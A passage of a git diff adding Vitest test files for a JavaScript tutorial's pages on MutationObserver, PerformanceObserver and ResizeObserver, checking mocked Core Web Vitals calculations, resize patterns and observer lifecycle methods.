addedElements = [] + + observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + for (const node of mutation.addedNodes) { + if (node.nodeType === Node.ELEMENT_NODE) { + addedElements.push(node) + } + } + } + }) + + observer.observe(container, { childList: true }) + + // Add text node (should be ignored) + container.appendChild(document.createTextNode('Hello')) + // Add element (should be captured) + const elem = document.createElement('span') + container.appendChild(elem) + + await Promise.resolve() + + expect(addedElements.length).toBe(1) + expect(addedElements[0]).toBe(elem) + }) + }) + + // ============================================================ + // CHARACTERDATA MUTATIONS + // From mutation-observer.mdx lines 110-115 + // ============================================================ + + describe('characterData Mutations', () => { + it('should detect text content changes in text nodes', async () => { + const textNode = document.createTextNode('Initial text') + container.appendChild(textNode) + + let mutationType = null + let oldValue = null + + observer = new MutationObserver((mutations) => { + mutationType = mutations[0].type + oldValue = mutations[0].oldValue + }) + + observer.observe(container, { + characterData: true, + subtree: true, + characterDataOldValue: true + }) + + textNode.textContent = 'Updated text' + + await Promise.resolve() + + expect(mutationType).toBe('characterData') + expect(oldValue).toBe('Initial text') + }) + }) + + // ============================================================ + // REAL-WORLD USE CASES + // From mutation-observer.mdx lines 400-440 + // ============================================================ + + describe('Real-World Use Cases', () => { + // From lines 405-420: Lazy loading images pattern + it('should detect images added to DOM for lazy loading', async () => { + const loadedImages = [] + + function loadImage(img) { + if (img.dataset.src) { + img.src = img.dataset.src + img.removeAttribute('data-src') + loadedImages.push(img) + } + } + + observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + for (const node of mutation.addedNodes) { + if (node.nodeType !== Node.ELEMENT_NODE) continue + + if (node.matches && node.matches('img[data-src]')) { + loadImage(node) + } + + if (node.querySelectorAll) { + node.querySelectorAll('img[data-src]').forEach(loadImage) + } + } + } + }) + + observer.observe(container, { childList: true, subtree: true }) + + // Add image with data-src + const img = document.createElement('img') + img.dataset.src = 'https://example.com/image.jpg' + container.appendChild(img) + + await Promise.resolve() + + expect(loadedImages.length).toBe(1) + expect(img.src).toBe('https://example.com/image.jpg') + expect(img.dataset.src).toBeUndefined() + }) + + // From lines 430-445: Removing unwanted elements + it('should detect and remove unwanted elements', async () => { + const removedElements = [] + + observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + for (const node of mutation.addedNodes) { + if (node.nodeType !== Node.ELEMENT_NODE) continue + + if (node.matches && node.matches('.ad-banner')) { + node.remove() + removedElements.push(node) + } + } + } + }) + + observer.observe(container, { childList: true, subtree: true }) + + // Simulate ad being injected + const ad = document.createElement('div') + ad.className = 'ad-banner' + container.appendChild(ad) + + await Promise.resolve() + + expect(removedElements.length).toBe(1) + expect(container.querySelector('.ad-banner')).toBeNull() + }) + + // From lines 450-465: Tracking class changes + it('should detect class changes on elements', async () => { + const element = document.createElement('div') + element.id = 'panel' + container.appendChild(element) + + let isExpanded = false + + observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + if (mutation.attributeName === 'class') { + isExpanded = mutation.target.classList.contains('expanded') + } + } + }) + + observer.observe(element, { + attributes: true, + attributeFilter: ['class'] + }) + + element.classList.add('expanded') + + await Promise.resolve() + + expect(isExpanded).toBe(true) + }) + }) + + // ============================================================ + // MICROTASK TIMING + // From mutation-observer.mdx lines 385-400 + // ============================================================ + + describe('Microtask Timing', () => { + it('should batch multiple changes into single callback', async () => { + let callbackCount = 0 + let totalMutations = 0 + + observer = new MutationObserver((mutations) => { + callbackCount++ + totalMutations += mutations.length + }) + + observer.observe(container, { childList: true }) + + // Make multiple changes synchronously + container.appendChild(document.createElement('div')) + container.appendChild(document.createElement('span')) + container.appendChild(document.createElement('p')) + + await Promise.resolve() + + // Should be batched into single callback + expect(callbackCount).toBe(1) + expect(totalMutations).toBe(3) + }) + }) +}) diff --git a/tests/beyond/observer-apis/performance-observer/performance-observer.test.js b/tests/beyond/observer-apis/performance-observer/performance-observer.test.js new file mode 100644 index 00000000..eba75a1f --- /dev/null +++ b/tests/beyond/observer-apis/performance-observer/performance-observer.test.js @@ -0,0 +1,719 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +/** + * Tests for Performance Observer concept page + * Source: docs/beyond/concepts/performance-observer.mdx + * + * PerformanceObserver is a browser API - these tests mock the API + * to verify the patterns and logic demonstrated in the documentation. + */ + +describe('Performance Observer', () => { + let mockObservers + let mockEntries + + function simulateEntry(entry) { + mockEntries.push(entry) + mockObservers.forEach(observer => { + if ( + (observer.options.type && observer.options.type === entry.entryType) || + (observer.options.entryTypes && observer.options.entryTypes.includes(entry.entryType)) + ) { + observer.callback({ + getEntries: () => [entry] + }, observer) + } + }) + } + + beforeEach(() => { + mockObservers = [] + mockEntries = [] + + class MockPerformanceObserver { + constructor(callback) { + this.callback = callback + this.options = null + } + + observe(options) { + this.options = options + mockObservers.push(this) + if (options.buffered && mockEntries.length > 0) { + const entries = mockEntries.filter(e => + options.type === e.entryType || + (options.entryTypes && options.entryTypes.includes(e.entryType)) + ) + if (entries.length > 0) { + setTimeout(() => { + this.callback({ getEntries: () => [...entries] }, this) + }, 0) + } + } + } + + disconnect() { + const index = mockObservers.indexOf(this) + if (index > -1) { + mockObservers.splice(index, 1) + } + } + + takeRecords() { + const records = [...mockEntries] + mockEntries.length = 0 + return records + } + + static supportedEntryTypes = [ + 'element', 'event', 'first-input', 'largest-contentful-paint', + 'layout-shift', 'longtask', 'mark', 'measure', 'navigation', + 'paint', 'resource', 'visibility-state' + ] + } + + vi.stubGlobal('PerformanceObserver', MockPerformanceObserver) + + vi.stubGlobal('performance', { + mark: vi.fn((name) => ({ name, startTime: Date.now() })), + measure: vi.fn((name, startMark, endMark) => ({ + name, + startTime: 0, + duration: 100 + })), + getEntries: vi.fn(() => mockEntries), + getEntriesByType: vi.fn((type) => mockEntries.filter(e => e.entryType === type)), + getEntriesByName: vi.fn((name) => mockEntries.filter(e => e.name === name)) + }) + + vi.stubGlobal('window', { PerformanceObserver: MockPerformanceObserver }) + }) + + afterEach(() => { + vi.unstubAllGlobals() + vi.clearAllMocks() + }) + + describe('Basic PerformanceObserver Usage', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:79-96 + it('should create an observer and receive entries', () => { + const receivedEntries = [] + + const observer = new PerformanceObserver((list) => { + receivedEntries.push(...list.getEntries()) + }) + + observer.observe({ type: 'resource', buffered: true }) + + simulateEntry({ + entryType: 'resource', + name: 'https://example.com/app.js', + duration: 245.30 + }) + + expect(receivedEntries.length).toBe(1) + expect(receivedEntries[0].name).toBe('https://example.com/app.js') + }) + + it('should handle multiple entry types with entryTypes option', () => { + const receivedEntries = [] + + const observer = new PerformanceObserver((list) => { + receivedEntries.push(...list.getEntries()) + }) + + observer.observe({ entryTypes: ['resource', 'navigation'] }) + + simulateEntry({ entryType: 'resource', name: 'script.js' }) + simulateEntry({ entryType: 'navigation', name: 'page' }) + simulateEntry({ entryType: 'paint', name: 'first-paint' }) + + expect(receivedEntries.length).toBe(2) + }) + }) + + describe('Checking Supported Entry Types', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:120-126 + it('should expose supportedEntryTypes static property', () => { + const supportedTypes = PerformanceObserver.supportedEntryTypes + + expect(Array.isArray(supportedTypes)).toBe(true) + expect(supportedTypes).toContain('resource') + expect(supportedTypes).toContain('navigation') + expect(supportedTypes).toContain('paint') + expect(supportedTypes).toContain('largest-contentful-paint') + expect(supportedTypes).toContain('layout-shift') + expect(supportedTypes).toContain('longtask') + }) + }) + + describe('Resource Timing', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:148-169 + it('should observe resource timing entries with detailed breakdown', () => { + const results = [] + + const resourceObserver = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + results.push({ + name: entry.name, + duration: entry.duration, + dns: entry.domainLookupEnd - entry.domainLookupStart, + tcp: entry.connectEnd - entry.connectStart, + ttfb: entry.responseStart - entry.requestStart, + download: entry.responseEnd - entry.responseStart + }) + }) + }) + + resourceObserver.observe({ type: 'resource', buffered: true }) + + simulateEntry({ + entryType: 'resource', + name: 'https://example.com/app.js', + startTime: 100, + duration: 245.30, + domainLookupStart: 100, + domainLookupEnd: 120, + connectStart: 120, + connectEnd: 150, + requestStart: 150, + responseStart: 200, + responseEnd: 345.30 + }) + + expect(results.length).toBe(1) + expect(results[0].name).toBe('https://example.com/app.js') + expect(results[0].dns).toBe(20) + expect(results[0].tcp).toBe(30) + expect(results[0].ttfb).toBe(50) + expect(results[0].download).toBeCloseTo(145.30) + }) + }) + + describe('Navigation Timing', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:173-194 + it('should observe navigation timing entries', () => { + const metrics = {} + + const navObserver = new PerformanceObserver((list) => { + const entry = list.getEntries()[0] + + metrics.dns = entry.domainLookupEnd - entry.domainLookupStart + metrics.tcp = entry.connectEnd - entry.connectStart + metrics.ttfb = entry.responseStart - entry.startTime + metrics.domParsing = entry.domInteractive - entry.responseEnd + metrics.domComplete = entry.domComplete - entry.startTime + metrics.loadComplete = entry.loadEventEnd - entry.startTime + }) + + navObserver.observe({ type: 'navigation', buffered: true }) + + simulateEntry({ + entryType: 'navigation', + name: 'https://example.com/', + startTime: 0, + domainLookupStart: 10, + domainLookupEnd: 30, + connectStart: 30, + connectEnd: 60, + responseStart: 100, + responseEnd: 200, + domInteractive: 400, + domComplete: 800, + loadEventEnd: 1000 + }) + + expect(metrics.dns).toBe(20) + expect(metrics.tcp).toBe(30) + expect(metrics.ttfb).toBe(100) + expect(metrics.domParsing).toBe(200) + expect(metrics.domComplete).toBe(800) + expect(metrics.loadComplete).toBe(1000) + }) + }) + + describe('Paint Timing', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:198-210 + it('should observe paint timing entries', () => { + const paintEvents = [] + + const paintObserver = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + paintEvents.push({ + name: entry.name, + startTime: entry.startTime + }) + }) + }) + + paintObserver.observe({ type: 'paint', buffered: true }) + + simulateEntry({ + entryType: 'paint', + name: 'first-paint', + startTime: 245.5 + }) + + simulateEntry({ + entryType: 'paint', + name: 'first-contentful-paint', + startTime: 312.8 + }) + + expect(paintEvents.length).toBe(2) + expect(paintEvents[0].name).toBe('first-paint') + expect(paintEvents[0].startTime).toBe(245.5) + expect(paintEvents[1].name).toBe('first-contentful-paint') + expect(paintEvents[1].startTime).toBe(312.8) + }) + }) + + describe('Core Web Vitals - LCP', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:220-242 + it('should measure Largest Contentful Paint and rate as Good', () => { + let lcpValue = null + let lcpRating = null + + const lcpObserver = new PerformanceObserver((list) => { + const entries = list.getEntries() + const lastEntry = entries[entries.length - 1] + + lcpValue = lastEntry.startTime + + if (lastEntry.startTime <= 2500) { + lcpRating = 'Good' + } else if (lastEntry.startTime <= 4000) { + lcpRating = 'Needs Improvement' + } else { + lcpRating = 'Poor' + } + }) + + lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true }) + + simulateEntry({ + entryType: 'largest-contentful-paint', + startTime: 1500, + size: 50000 + }) + + expect(lcpValue).toBe(1500) + expect(lcpRating).toBe('Good') + }) + + it('should rate LCP as Needs Improvement between 2.5s and 4s', () => { + let lcpRating = null + + const lcpObserver = new PerformanceObserver((list) => { + const lastEntry = list.getEntries()[list.getEntries().length - 1] + + if (lastEntry.startTime <= 2500) { + lcpRating = 'Good' + } else if (lastEntry.startTime <= 4000) { + lcpRating = 'Needs Improvement' + } else { + lcpRating = 'Poor' + } + }) + + lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true }) + + simulateEntry({ + entryType: 'largest-contentful-paint', + startTime: 3000 + }) + + expect(lcpRating).toBe('Needs Improvement') + }) + + it('should rate LCP as Poor above 4s', () => { + let lcpRating = null + + const lcpObserver = new PerformanceObserver((list) => { + const lastEntry = list.getEntries()[list.getEntries().length - 1] + + if (lastEntry.startTime <= 2500) { + lcpRating = 'Good' + } else if (lastEntry.startTime <= 4000) { + lcpRating = 'Needs Improvement' + } else { + lcpRating = 'Poor' + } + }) + + lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true }) + + simulateEntry({ + entryType: 'largest-contentful-paint', + startTime: 5000 + }) + + expect(lcpRating).toBe('Poor') + }) + }) + + describe('Core Web Vitals - CLS', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:246-267 + it('should measure Cumulative Layout Shift', () => { + let clsValue = 0 + + const clsObserver = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + if (!entry.hadRecentInput) { + clsValue += entry.value + } + }) + }) + + clsObserver.observe({ type: 'layout-shift', buffered: true }) + + simulateEntry({ + entryType: 'layout-shift', + value: 0.05, + hadRecentInput: false + }) + + simulateEntry({ + entryType: 'layout-shift', + value: 0.03, + hadRecentInput: false + }) + + expect(clsValue).toBeCloseTo(0.08) + }) + + it('should ignore layout shifts with recent user input', () => { + let clsValue = 0 + + const clsObserver = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + if (!entry.hadRecentInput) { + clsValue += entry.value + } + }) + }) + + clsObserver.observe({ type: 'layout-shift', buffered: true }) + + simulateEntry({ + entryType: 'layout-shift', + value: 0.05, + hadRecentInput: false + }) + + simulateEntry({ + entryType: 'layout-shift', + value: 0.10, + hadRecentInput: true + }) + + expect(clsValue).toBeCloseTo(0.05) + }) + }) + + describe('Core Web Vitals - INP', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:271-291 + it('should measure Interaction to Next Paint (worst interaction)', () => { + let maxINP = 0 + + const inpObserver = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + if (entry.duration > maxINP) { + maxINP = entry.duration + } + }) + }) + + inpObserver.observe({ type: 'event', buffered: true, durationThreshold: 40 }) + + simulateEntry({ entryType: 'event', name: 'click', duration: 80 }) + simulateEntry({ entryType: 'event', name: 'keydown', duration: 150 }) + simulateEntry({ entryType: 'event', name: 'click', duration: 50 }) + + expect(maxINP).toBe(150) + }) + }) + + describe('Core Web Vitals - FCP', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:295-316 + it('should measure First Contentful Paint', () => { + let fcpValue = null + let fcpRating = null + + const fcpObserver = new PerformanceObserver((list) => { + const fcp = list.getEntries().find(entry => entry.name === 'first-contentful-paint') + + if (fcp) { + fcpValue = fcp.startTime + + if (fcp.startTime <= 1800) { + fcpRating = 'Good' + } else if (fcp.startTime <= 3000) { + fcpRating = 'Needs Improvement' + } else { + fcpRating = 'Poor' + } + } + }) + + fcpObserver.observe({ type: 'paint', buffered: true }) + + simulateEntry({ + entryType: 'paint', + name: 'first-contentful-paint', + startTime: 1200 + }) + + expect(fcpValue).toBe(1200) + expect(fcpRating).toBe('Good') + }) + }) + + describe('Core Web Vitals - TTFB', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:320-342 + it('should measure Time to First Byte with breakdown', () => { + let ttfb = null + let breakdown = {} + + const ttfbObserver = new PerformanceObserver((list) => { + const entry = list.getEntries()[0] + ttfb = entry.responseStart - entry.startTime + + breakdown = { + dns: entry.domainLookupEnd - entry.domainLookupStart, + connection: entry.connectEnd - entry.connectStart, + waiting: entry.responseStart - entry.requestStart + } + }) + + ttfbObserver.observe({ type: 'navigation', buffered: true }) + + simulateEntry({ + entryType: 'navigation', + startTime: 0, + domainLookupStart: 10, + domainLookupEnd: 50, + connectStart: 50, + connectEnd: 100, + requestStart: 100, + responseStart: 300 + }) + + expect(ttfb).toBe(300) + expect(breakdown.dns).toBe(40) + expect(breakdown.connection).toBe(50) + expect(breakdown.waiting).toBe(200) + }) + }) + + describe('Custom Performance Marks and Measures', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:376-393 + it('should create custom marks and measures', () => { + performance.mark('api-call-start') + performance.mark('api-call-end') + performance.measure('api-call', 'api-call-start', 'api-call-end') + + expect(performance.mark).toHaveBeenCalledWith('api-call-start') + expect(performance.mark).toHaveBeenCalledWith('api-call-end') + expect(performance.measure).toHaveBeenCalledWith('api-call', 'api-call-start', 'api-call-end') + }) + + it('should observe custom measures', () => { + const customMetrics = [] + + const customObserver = new PerformanceObserver((list) => { + list.getEntries().forEach(entry => { + customMetrics.push({ name: entry.name, duration: entry.duration }) + }) + }) + + customObserver.observe({ type: 'measure', buffered: true }) + + simulateEntry({ + entryType: 'measure', + name: 'api-call', + startTime: 0, + duration: 245.3 + }) + + expect(customMetrics.length).toBe(1) + expect(customMetrics[0].name).toBe('api-call') + expect(customMetrics[0].duration).toBe(245.3) + }) + }) + + describe('Long Tasks', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:426-445 + it('should detect long tasks blocking the main thread (>50ms)', () => { + const longTasks = [] + + const longTaskObserver = new PerformanceObserver((list) => { + list.getEntries().forEach(entry => { + longTasks.push({ duration: entry.duration, startTime: entry.startTime }) + }) + }) + + longTaskObserver.observe({ type: 'longtask', buffered: true }) + + simulateEntry({ + entryType: 'longtask', + startTime: 1000, + duration: 150 + }) + + expect(longTasks.length).toBe(1) + expect(longTasks[0].duration).toBe(150) + }) + }) + + describe('Observer Methods', () => { + describe('disconnect()', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:553-567 + it('should stop receiving entries after disconnect', () => { + const receivedEntries = [] + + const observer = new PerformanceObserver((list) => { + receivedEntries.push(...list.getEntries()) + }) + + observer.observe({ type: 'resource', buffered: true }) + + simulateEntry({ entryType: 'resource', name: 'before.js' }) + expect(receivedEntries.length).toBe(1) + + observer.disconnect() + + simulateEntry({ entryType: 'resource', name: 'after.js' }) + expect(receivedEntries.length).toBe(1) + }) + }) + + describe('takeRecords()', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:571-583 + it('should return pending entries and clear buffer', () => { + mockEntries = [ + { entryType: 'resource', name: 'script.js', duration: 100 }, + { entryType: 'resource', name: 'style.css', duration: 50 } + ] + + const observer = new PerformanceObserver(() => {}) + observer.observe({ type: 'resource', buffered: true }) + + const pending = observer.takeRecords() + + expect(pending.length).toBe(2) + expect(observer.takeRecords().length).toBe(0) + }) + }) + }) + + describe('Browser Support Check', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:622-635 + it('should check for PerformanceObserver support before using', () => { + const safeObserve = (type, callback) => { + if ('PerformanceObserver' in window) { + if (PerformanceObserver.supportedEntryTypes.includes(type)) { + const observer = new PerformanceObserver(callback) + observer.observe({ type, buffered: true }) + return observer + } + } + return null + } + + const observer = safeObserve('largest-contentful-paint', vi.fn()) + expect(observer).not.toBeNull() + }) + + it('should return null for unsupported entry types', () => { + const safeObserve = (type, callback) => { + if ('PerformanceObserver' in window) { + if (PerformanceObserver.supportedEntryTypes.includes(type)) { + const observer = new PerformanceObserver(callback) + observer.observe({ type, buffered: true }) + return observer + } + } + return null + } + + const observer = safeObserve('unsupported-type', vi.fn()) + expect(observer).toBeNull() + }) + }) + + describe('Simple RUM Implementation', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:464-524 + it('should collect multiple metrics into a single object', () => { + class PerformanceMonitor { + constructor() { + this.metrics = {} + this.observers = [] + } + + observe(type, callback) { + const observer = new PerformanceObserver((list) => { + callback(list.getEntries()) + }) + observer.observe({ type, buffered: true }) + this.observers.push(observer) + } + + disconnect() { + this.observers.forEach(obs => obs.disconnect()) + } + } + + const monitor = new PerformanceMonitor() + + monitor.observe('largest-contentful-paint', (entries) => { + const lastEntry = entries[entries.length - 1] + monitor.metrics.lcp = lastEntry.startTime + }) + + monitor.observe('paint', (entries) => { + const fcp = entries.find(e => e.name === 'first-contentful-paint') + if (fcp) { + monitor.metrics.fcp = fcp.startTime + } + }) + + simulateEntry({ entryType: 'largest-contentful-paint', startTime: 2000 }) + simulateEntry({ entryType: 'paint', name: 'first-contentful-paint', startTime: 800 }) + + expect(monitor.metrics.lcp).toBe(2000) + expect(monitor.metrics.fcp).toBe(800) + + monitor.disconnect() + }) + }) + + describe('Sampling Pattern', () => { + // Source: docs/beyond/concepts/performance-observer.mdx:637-650 + it('should demonstrate sampling pattern for production', () => { + let observerCreated = false + const shouldSample = true + + if (shouldSample) { + const observer = new PerformanceObserver(() => {}) + observer.observe({ type: 'resource', buffered: true }) + observerCreated = true + } + + expect(observerCreated).toBe(true) + }) + + it('should skip observer creation when not sampled', () => { + let observerCreated = false + const shouldSample = false + + if (shouldSample) { + const observer = new PerformanceObserver(() => {}) + observer.observe({ type: 'resource', buffered: true }) + observerCreated = true + } + + expect(observerCreated).toBe(false) + }) + }) +}) diff --git a/tests/beyond/observer-apis/resize-observer/resize-observer.test.js b/tests/beyond/observer-apis/resize-observer/resize-observer.test.js new file mode 100644 index 00000000..23446776 --- /dev/null +++ b/tests/beyond/observer-apis/resize-observer/resize-observer.test.js @@ -0,0 +1,673 @@ +/** + * Tests for ResizeObserver concept page + * Source: /docs/beyond/concepts/resize-observer.mdx + * + * Note: ResizeObserver is a browser API that cannot be fully tested + * without a real browser environment. These tests verify the concepts and + * patterns described in the documentation using mocks and simulated behavior. + */ + +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +describe('ResizeObserver Concepts', () => { + // ============================================================ + // RESIZEOBSERVERENTRY PROPERTIES + // From resize-observer.mdx lines ~115-140 + // ============================================================ + + describe('ResizeObserverEntry Properties', () => { + // From lines ~115-140: The ResizeObserverEntry Object + it('should understand entry property structure', () => { + // Simulating the shape of ResizeObserverEntry + const mockEntry = { + target: { id: 'test-element' }, + contentRect: { + width: 200, + height: 100, + top: 10, // Padding-top value + left: 10, // Padding-left value + right: 210, + bottom: 110, + x: 10, + y: 10 + }, + contentBoxSize: [{ + inlineSize: 200, // Width in horizontal writing mode + blockSize: 100 // Height in horizontal writing mode + }], + borderBoxSize: [{ + inlineSize: 220, // Width including padding and border + blockSize: 120 + }], + devicePixelContentBoxSize: [{ + inlineSize: 400, // At 2x device pixel ratio + blockSize: 200 + }] + } + + expect(typeof mockEntry.target).toBe('object') + expect(typeof mockEntry.contentRect).toBe('object') + expect(typeof mockEntry.contentRect.width).toBe('number') + expect(typeof mockEntry.contentRect.height).toBe('number') + expect(Array.isArray(mockEntry.contentBoxSize)).toBe(true) + expect(Array.isArray(mockEntry.borderBoxSize)).toBe(true) + }) + + // From lines ~115-140: contentRect properties + it('should have correct contentRect properties', () => { + const contentRect = { + width: 200, + height: 100, + top: 10, + left: 10, + right: 210, + bottom: 110, + x: 10, + y: 10 + } + + expect(contentRect.width).toBe(200) + expect(contentRect.height).toBe(100) + expect(contentRect.top).toBe(10) // Padding-top + expect(contentRect.left).toBe(10) // Padding-left + }) + }) + + // ============================================================ + // BOX MODEL UNDERSTANDING + // From resize-observer.mdx lines ~145-210 + // ============================================================ + + describe('Box Model Options', () => { + // From lines ~175-195: Choosing Which Box to Observe + it('should understand box option values', () => { + const validBoxOptions = ['content-box', 'border-box', 'device-pixel-content-box'] + + validBoxOptions.forEach(option => { + expect(typeof option).toBe('string') + }) + + // Default option + const defaultBox = 'content-box' + expect(validBoxOptions).toContain(defaultBox) + }) + + // From lines ~200-225: Modern Size Properties + it('should access contentBoxSize correctly (as array)', () => { + const mockEntry = { + contentBoxSize: [{ + inlineSize: 200, + blockSize: 100 + }] + } + + // Correct way: access first element of array + const contentBoxSize = mockEntry.contentBoxSize[0] + expect(contentBoxSize.inlineSize).toBe(200) + expect(contentBoxSize.blockSize).toBe(100) + }) + + // From lines ~200-225: inlineSize vs width + it('should understand inlineSize vs blockSize', () => { + // In horizontal writing mode: + // inlineSize = width + // blockSize = height + + // In vertical writing mode (e.g., traditional Japanese): + // inlineSize = height + // blockSize = width + + const horizontalWritingMode = { + inlineSize: 200, // This is width + blockSize: 100 // This is height + } + + const verticalWritingMode = { + inlineSize: 100, // This is height + blockSize: 200 // This is width + } + + expect(horizontalWritingMode.inlineSize).not.toBe(verticalWritingMode.inlineSize) + }) + }) + + // ============================================================ + // PRACTICAL USE CASES + // From resize-observer.mdx lines ~230-355 + // ============================================================ + + describe('Responsive Typography Pattern', () => { + // From lines ~235-260: Responsive Typography + it('should calculate font size based on container width', () => { + function calculateFontSize(width) { + return Math.max(16, Math.min(48, width / 20)) + } + + // Test various widths + expect(calculateFontSize(200)).toBe(16) // Minimum + expect(calculateFontSize(400)).toBe(20) // 400/20 = 20 + expect(calculateFontSize(600)).toBe(30) // 600/20 = 30 + expect(calculateFontSize(1000)).toBe(48) // Maximum (capped) + expect(calculateFontSize(1200)).toBe(48) // Still capped at max + }) + }) + + describe('Canvas Resizing Pattern', () => { + // From lines ~265-305: Canvas Resizing + it('should calculate canvas internal size with device pixel ratio', () => { + const cssWidth = 400 + const cssHeight = 300 + const dpr = 2 // High DPI display + + const canvasWidth = cssWidth * dpr + const canvasHeight = cssHeight * dpr + + expect(canvasWidth).toBe(800) + expect(canvasHeight).toBe(600) + }) + + it('should handle default device pixel ratio', () => { + // In browser: window.devicePixelRatio + // In Node.js test environment, we simulate the fallback pattern + const mockWindow = { devicePixelRatio: 2 } + const dpr = mockWindow.devicePixelRatio || 1 + + expect(typeof dpr).toBe('number') + expect(dpr).toBeGreaterThanOrEqual(1) + + // Test fallback when devicePixelRatio is undefined + const mockWindowUndefined = {} + const dprFallback = mockWindowUndefined.devicePixelRatio || 1 + expect(dprFallback).toBe(1) + }) + }) + + describe('Element Query Pattern', () => { + // From lines ~310-355: Element Queries + it('should determine breakpoint class based on width', () => { + const breakpoints = { + small: 'card--compact', + medium: 'card--standard', + large: 'card--expanded' + } + + function getBreakpointClass(width) { + if (width < 300) return breakpoints.small + if (width < 600) return breakpoints.medium + return breakpoints.large + } + + expect(getBreakpointClass(200)).toBe('card--compact') + expect(getBreakpointClass(300)).toBe('card--standard') + expect(getBreakpointClass(450)).toBe('card--standard') + expect(getBreakpointClass(600)).toBe('card--expanded') + expect(getBreakpointClass(800)).toBe('card--expanded') + }) + }) + + describe('Auto-Scroll Pattern', () => { + // From lines ~360-390: Auto-Scrolling Chat Window + it('should determine if container should auto-scroll', () => { + // Auto-scroll if user is near bottom (within 10px) + function shouldAutoScroll(scrollTop, scrollHeight, clientHeight) { + return scrollTop + clientHeight >= scrollHeight - 10 + } + + // User at bottom + expect(shouldAutoScroll(500, 600, 100)).toBe(true) // 500 + 100 >= 590 + + // User scrolled up + expect(shouldAutoScroll(200, 600, 100)).toBe(false) // 200 + 100 < 590 + + // User exactly at threshold + expect(shouldAutoScroll(490, 600, 100)).toBe(true) // 490 + 100 >= 590 + }) + }) + + describe('Aspect Ratio Pattern', () => { + // From lines ~395-415: Dynamic Aspect Ratio + it('should calculate height from width and aspect ratio', () => { + function calculateHeight(width, ratio) { + return width / ratio + } + + // 16:9 aspect ratio + expect(calculateHeight(1600, 16/9)).toBeCloseTo(900) + expect(calculateHeight(800, 16/9)).toBeCloseTo(450) + + // 4:3 aspect ratio + expect(calculateHeight(800, 4/3)).toBeCloseTo(600) + + // 1:1 aspect ratio (square) + expect(calculateHeight(500, 1)).toBe(500) + }) + }) + + // ============================================================ + // INFINITE LOOP PREVENTION + // From resize-observer.mdx lines ~420-510 + // ============================================================ + + describe('Infinite Loop Prevention', () => { + // From lines ~445-470: Solution 1 - Track expected size + it('should skip callback when size matches expected', () => { + const expectedSizes = new Map() + let callbackCount = 0 + + function handleResize(target, currentWidth) { + const expectedSize = expectedSizes.get(target) + + // Skip if we're already at the expected size + if (currentWidth === expectedSize) { + return false // Skipped + } + + callbackCount++ + const newWidth = currentWidth + 10 + expectedSizes.set(target, newWidth) + return true // Processed + } + + const element = { id: 'test' } + + // First call - should process + expect(handleResize(element, 100)).toBe(true) + expect(callbackCount).toBe(1) + + // Second call with expected size - should skip + expect(handleResize(element, 110)).toBe(false) + expect(callbackCount).toBe(1) // Still 1 + + // Third call with different size - should process + expect(handleResize(element, 120)).toBe(true) + expect(callbackCount).toBe(2) + }) + + // From lines ~485-510: Solution 3 - Modify other elements + it('should demonstrate safe pattern of modifying other elements', () => { + const observedElement = { id: 'observed' } + const labelElement = { textContent: '' } + + function safeResizeHandler(entry) { + // Safe: Change a different element, not the observed one + const width = entry.contentRect.width + const height = entry.contentRect.height + labelElement.textContent = `${width} x ${height}` + } + + const mockEntry = { + target: observedElement, + contentRect: { width: 300, height: 200 } + } + + safeResizeHandler(mockEntry) + + expect(labelElement.textContent).toBe('300 x 200') + // observedElement is unchanged - no infinite loop + }) + }) + + // ============================================================ + // PERFORMANCE PATTERNS + // From resize-observer.mdx lines ~515-580 + // ============================================================ + + describe('Performance Best Practices', () => { + // From lines ~520-540: Reuse observers + it('should demonstrate shared observer pattern', () => { + const elements = ['el1', 'el2', 'el3'] + + // Good pattern: One observer for multiple elements + const goodObserver = { + observedTargets: [], + observe(el) { this.observedTargets.push(el) } + } + + elements.forEach(el => goodObserver.observe(el)) + + // One observer watching 3 elements = efficient + expect(goodObserver.observedTargets.length).toBe(3) + }) + + // From lines ~555-580: Debounce expensive operations + it('should implement debounce pattern', async () => { + let operationCount = 0 + let timeoutId + + function debounced(callback, delay) { + return function() { + clearTimeout(timeoutId) + timeoutId = setTimeout(callback, delay) + } + } + + const expensiveOperation = debounced(() => { + operationCount++ + }, 50) + + // Rapid calls + expensiveOperation() + expensiveOperation() + expensiveOperation() + + // Wait for debounce + await new Promise(resolve => setTimeout(resolve, 100)) + + // Only one execution + expect(operationCount).toBe(1) + }) + }) + + describe('Memory Management', () => { + // From lines ~580-600: Cleanup pattern + it('should demonstrate cleanup pattern', () => { + let isDisconnected = false + + class ResizableComponent { + constructor() { + this.observer = { + observe: vi.fn(), + disconnect: () => { isDisconnected = true } + } + } + + destroy() { + this.observer.disconnect() + this.observer = null + } + } + + const component = new ResizableComponent() + expect(isDisconnected).toBe(false) + expect(component.observer).not.toBeNull() + + component.destroy() + expect(isDisconnected).toBe(true) + expect(component.observer).toBeNull() + }) + }) + + // ============================================================ + // FEATURE DETECTION + // From resize-observer.mdx lines ~605-635 + // ============================================================ + + 